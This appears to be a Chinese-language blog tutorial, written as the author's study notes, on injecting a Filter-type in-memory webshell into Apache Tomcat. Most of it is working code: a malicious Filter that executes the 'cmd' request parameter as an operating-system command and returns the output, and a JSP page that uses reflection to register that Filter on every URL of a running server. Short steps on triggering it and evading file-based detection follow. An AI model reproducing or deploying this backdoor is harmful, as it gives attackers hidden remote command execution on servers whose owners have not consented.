什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述
tomcat启动后正常情况下对于Filter的处理过程:
需要解决的问题
恶意Filter对象
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("添加"); String cmd = servletRequest.getParameter("cmd"); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); while(true) { String tmp = null; if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) { servletResponse.getOutputStream().print(tmp); }else{ break; } } return; }在这里可以jsp进行注入
<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.Map" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head> <title>Title</title></head><body> <center><h1>Dynamic Memory-Type Horse</h1></center></body></html><% org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext(); if(context.findFilterDef("Filter_new")==null){ //2.配置过滤器并初始化FilterDef String newFilterName = "Filter_new"; String newFilterClass = "sec.aur0ra.filter.Filter"; FilterDef filterDef = new FilterDef(); filterDef.setFilterName(newFilterName); filterDef.setFilterClass(newFilterClass); //3. 注册FilterDef context.addFilterDef(filterDef); //4. 创建并注册FilterMap对象 FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Filter_new"); filterMap.addURLPattern("/*"); context.addFilterMapBefore(filterMap); //context.addFilterMap(filterMap); //5. 添加FilterConfig Constructor constructor = null; try { //获取FilterConfigs对象 Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(context); constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef); filterConfigs.put(newFilterName, filterConfig); } catch (Exception e){ ; } } FilterMap[] filterMaps = context.findFilterMaps(); System.out.println("注册成功");%>在这里利用线程信息获取context。获取context对象的方式还有通过request对象进行获取等
直接访问恶意jsp文件
恶意的filter已经被成功注入
再访问正常界面
访问成功,说明内存??成功注入。报错只是因为没有传参,所以报错不一定代表坏消息
传参cmd
filterDef,filterConfigs,filterMappers中未添加全对应的信息
可以看到,这里已经成功注册了Filter内存马。EvilFilter的对象可以传字节码进去,但还是免不了借助了jsp文件,虽然后面可以删除,但还是会有文件记录,自然也就容易被查杀。利用反序列化执行代码?后续再学习吧